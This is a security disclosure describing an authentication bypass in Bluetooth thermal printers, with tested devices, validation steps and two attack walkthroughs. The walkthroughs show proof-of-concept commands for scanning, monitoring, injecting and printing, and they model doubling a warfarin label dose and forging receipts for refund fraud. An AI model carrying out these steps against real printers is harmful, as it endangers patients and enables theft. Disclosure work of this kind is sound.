ZeroPair: Bluetooth RFCOMM Authentication Bypass in Thermal Printers
๐ด Critical Vulnerability Disclosure
CVE Status: Pending Assignment
CVSS v3.1 (Estimated): 8.1 HIGH
Disclosure Date: January 25, 2026
Discovered by: CBKB (DeadlyData, Metal->Bit)
๐ Executive Summary
ZeroPair is a critical authentication bypass vulnerability affecting Bluetooth-enabled thermal printers from multiple vendors. Affected devices accept unauthenticated RFCOMM (SPP) connections, allowing nearby attackers to access printer command interfaces without pairing, authentication, or user interaction.
The vulnerability exists entirely in device firmware, is invisible to standard Bluetooth management tools, and cannot be remediated by end users.
๐ฏ Vulnerability Description (Pending CVE)
Bluetooth thermal printers using affected firmware improperly accept RFCOMM connections without authentication due to an insecure trust model implemented outside standard Bluetooth pairing controls. An attacker within Bluetooth range can connect to the device and inject arbitrary printer commands without prior pairing, authentication, or user interaction, leading to information disclosure and output tampering.
๐ Affected Industries
| Industry | Use Case | Impact Severity | Risk Level |
|---|---|---|---|
| Healthcare | Prescription labels | ๐ด CRITICAL | ๐ด CRITICAL |
| Retail | POS receipts | ๐ด HIGH | ๐ด HIGH |
| Food Service | Order tickets | ๐ก MEDIUM | ๐ก MEDIUM |
| Logistics | Shipping labels | ๐ก MEDIUM | ๐ก MEDIUM |
| Enterprise | Badges, documents | ๐ด HIGH | ๐ด HIGH |
๐ฌ Technical Analysis
Root Cause
The vulnerability stems from a persistent and implicit trust mechanism implemented at the firmware / protocol layer that operates independently from standard Bluetooth user-space management.
Affected devices expose an RFCOMM service that accepts inbound connections without enforcing authentication at connection time, regardless of the pairing state shown to the user.
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ User Space (What users can see/control) โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ bluetoothctl / system settings โ โ
โ โ Shows: "Not paired" / "Not connected" โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฒ
โ User believes device is secure
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Firmware / Protocol Layer (Hidden from users) โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ RFCOMM service accepts connections โ โ
โ โ No authentication enforced โ โ
โ โ No re-authentication required โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
In some firmware implementations, this behavior is further amplified by a hidden or implicit trust state that persists independently of user-visible pairing controls. However, explicit pairing is not required for exploitation.
The Four-Layer Validation
The authentication bypass was validated through four independent verification methods:
-
bluetoothctl
Device is reported as not paired. -
/var/lib/bluetooth/
No pairing keys or cached trust material are present. -
hcitool con
No active Bluetooth connections are shown. -
RFCOMM binding / communication
RFCOMM communication succeeds and allows bidirectional data exchange.
This confirms that the trust decision allowing access occurs outside standard Bluetooth management layers.
CWE Classifications
- CWE-287: Improper Authentication
- CWE-306: Missing Authentication for Critical Function
- CWE-798: Use of Hard-coded Credentials
- CWE-1284: Improper Validation of Security State
๐ฅ Affected Products
Confirmed Vulnerable (Tested)
| Vendor | Product | Chipset | Protocol | Deployment |
|---|---|---|---|---|
| Zhuhai Jieli Technology | M58-L | Jieli | ESC/POS | Retail POS |
| Barrot Technology | D450 | Barrot | TSPL | Healthcare |
Potentially Affected
Printers using similar Bluetooth firmware or RFCOMM/SPP implementations are likely affected.
Deployment spans retail, healthcare, logistics, food service, and enterprise environments, with an estimated hundreds of thousands of devices.
๐งช Tested Device Information
Device 1 โ Retail POS Printer
Model: M58-L Bluetooth Thermal Printer
Vendor: Zhuhai Jieli Technology
Chipset: Jieli Bluetooth SoC
Bluetooth: Classic Bluetooth + RFCOMM
Protocol: ESC/POS
Default PIN: 1234 (not used during testing)
Firmware: Production firmware (January 2026)
Pairing Performed: NO
Device 2 โ Healthcare Label Printer
Model: D450 Bluetooth Label Printer
Vendor: Barrot Technology
Chipset: Barrot Bluetooth SoC
Bluetooth: Classic Bluetooth (RFCOMM/SPP)
Protocol: TSPL
Default PIN: 0000 (not used during testing)
Firmware: Production firmware (January 2026)
Pairing Performed: NO
๐ฅ๏ธ Test Environment
Operating System: Kali Linux 2025.x
Bluetooth Stack: BlueZ 5.x
Adapter: Standard laptop Bluetooth adapter
Attack Range: Bluetooth proximity (10โ100m typical)
User Interaction: None
๐จ Real-World Attack Scenarios
Scenario 1: Healthcare - Prescription Label Tampering
Environment: Hospital pharmacy using D450 label printers
Attack Surface: Printers within Bluetooth range of public areas
Attacker Profile: Malicious actor targeting medication safety
Attack Sequence:
Phase 1: Reconnaissance
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. Attacker positions within Bluetooth range of pharmacy
โข Hospital parking lot (50-100m from pharmacy)
โข Public waiting area near pharmacy
2. Execute reconnaissance:
$ sudo python3 zeropair.py --scan --verbose
3. Discover vulnerable D450 printer:
[*] Found: 10:23:81:79:E6:43 (D450-BT)
[*] Manufacturer: Barrot (2279)
[*] Protocol: TSPL
[!] VULNERABLE
Phase 2: Passive Monitoring
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
4. Monitor prescription labels:
$ sudo python3 zeropair.py --monitor 10:23:81:79:E6:43
5. Intercept label data:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Patient: Jane Doe MRN: 987654 โ
โ Medication: Warfarin NDC: 00093-1074-01 โ
โ Dosage: 5mg Qty: 30 โ
โ Instructions: Take 1 tablet daily โ
โ Prescriber: Dr. Smith RPh: Jones โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Phase 3: Active Attack
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
6. Intercept and modify label in real-time:
$ sudo python3 zeropair.py --inject 10:23:81:79:E6:43
[*] Modifying: Warfarin 5mg โ 10mg
7. Modified label prints:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Patient: Jane Doe MRN: 987654 โ
โ Medication: Warfarin NDC: 00093-1074-01 โ
โ Dosage: 10mg โ DOUBLED Qty: 30 โ
โ Instructions: Take 1 tablet daily โ
โ Prescriber: Dr. Smith RPh: Jones โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
8. Pharmacist applies tampered label - no indication of modification
9. Patient receives DOUBLED dosage prescription
Impact Assessment:
| Category | Impact | Severity |
|---|---|---|
| Patient Safety | Medication overdose/underdose | ๐ด CRITICAL |
| Regulatory | HIPAA violation (PHI access) | ๐ด CRITICAL |
| Legal | Hospital liability for med errors | ๐ด CRITICAL |
| Detection | Zero - no audit trail | ๐ด HIGH |
Real-World Consequences: - Warfarin overdose โ life-threatening bleeding - Underdose โ stroke or blood clot risk - Attack completely undetectable in pharmacy workflow
Scenario 2: Retail POS - Receipt Fraud & Transaction Theft
Environment: Retail store using M58-L thermal printers at point-of-sale
Attack Surface: POS printers within Bluetooth range of store entrance
Attacker Profile: Organized retail crime, fraudulent return operations
Attack Sequence:
Phase 1: Receipt Harvesting
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. Attacker parks near store entrance (within Bluetooth range)
2. Scan for POS printers:
$ sudo python3 zeropair.py --scan --filter "thermal"
3. Discover M58-L POS printers:
[*] Register 1: 66:32:9E:2E:FD:94 (M58-L)
[*] Register 2: 66:32:9E:2E:FD:95 (M58-L)
[*] Register 3: 66:32:9E:2E:FD:96 (M58-L)
Phase 2: Transaction Monitoring
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
4. Monitor all registers simultaneously:
$ sudo python3 zeropair.py --monitor-multiple \
66:32:9E:2E:FD:94,95,96
5. Capture legitimate transaction:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
EXAMPLE RETAIL STORE
123 Main Street
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Date: 01/25/2026 14:32 Trans: 789012
Cashier: #4523 Register: 1
Samsung Galaxy S24 $1,199.99
Wireless Charger $29.99
โโโโโโโโโ
Subtotal: $1,229.98
Tax (8.5%): $104.55
TOTAL: $1,334.53
CREDIT CARD ****1234
Auth: 123456
Return Policy: 30 days with receipt
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Phase 3: Fraudulent Receipt Generation
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
6. Create counterfeit receipt using captured format:
$ sudo python3 zeropair.py --clone-receipt \
--template captured.txt \
--modify "Trans: 789099"
7. Print fake receipt on STORE'S OWN PRINTER:
$ sudo python3 zeropair.py --print 66:32:9E:2E:FD:94 \
--file fake_receipt.escp
8. Receipt prints using store's receipt paper
โข Matches store format exactly
โข Printed on legitimate paper
โข Indistinguishable from real receipt
Phase 4: Fraudulent Return
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
9. Attacker enters store with:
โข Fake receipt (printed on store's printer)
โข Stolen/purchased item
10. Employee processes return:
โข Receipt looks 100% legitimate (it IS from their printer!)
โข Transaction number may/may not be in system
โข Store issues refund to avoid confrontation
Impact Assessment:
| Category | Impact | Severity |
|---|---|---|
| Financial Loss | Fraudulent returns, inventory shrink | ๐ด HIGH |
| Customer Data | Credit card info exposure | ๐ด HIGH |
| Operational | Sales disruption if printer DoS'd | ๐ก MEDIUM |
| Detection | Extremely difficult - receipts authentic | ๐ด HIGH |
Scale Potential: - Organized retail crime can automate at scale - Multiple stores targeted simultaneously - High-value items specifically targeted - Receipt paper is authentic = hard to detect
๐ ๏ธ Proof of Concept: zeropair.py (Summary)
A proof-of-concept framework was developed solely to validate and demonstrate impact.
Capabilities Demonstrated:
- Bluetooth device discovery
- Vendor / protocol fingerprinting
- Unauthenticated RFCOMM access
- Output monitoring and injection
- Multi-device targeting
Observed Results:
| Device | Time to Access | Success Rate |
|---|---|---|
| M58-L | ~8 seconds | 100% |
| D450 | ~10 seconds | 100% |
The PoC does not perform pairing and does not define CVE scope.
โ๏ธ Exploitation Difficulty
| Factor | Assessment |
|---|---|
| Technical Skill | Low |
| Equipment Required | Standard Bluetooth-capable system |
| Time to Impact | Seconds |
| User Awareness | None |
| Detection Likelihood | Very Low |
| Reliability | High |
๐ Disclosure Timeline
| Date | Event |
|---|---|
| January 20, 2026 | Vulnerability discovered and validated |
| January 25, 2026 | Vendors notified |
| January 25, 2026 | CVE requested from MITRE |
| January 25, 2026 | CERT/CC coordination initiated |
| January 25, 2026 | Public disclosure |
๐งญ Disclosure Rationale
Immediate public disclosure was deemed appropriate due to:
- Absence of user-accessible remediation
- Safety-critical healthcare deployment
- Large-scale retail exposure
- Demonstrated authentication bypass without pairing
- Same-day good-faith vendor notification
โ๏ธ Legal Disclaimer
This disclosure is provided for defensive security research and risk awareness purposes only.
Do not: - Test devices you do not own - Access systems without authorization - Use this information maliciously
Responsible security research by CBKB (DeadlyData, Metal->Bit)
END OF DISCLOSURE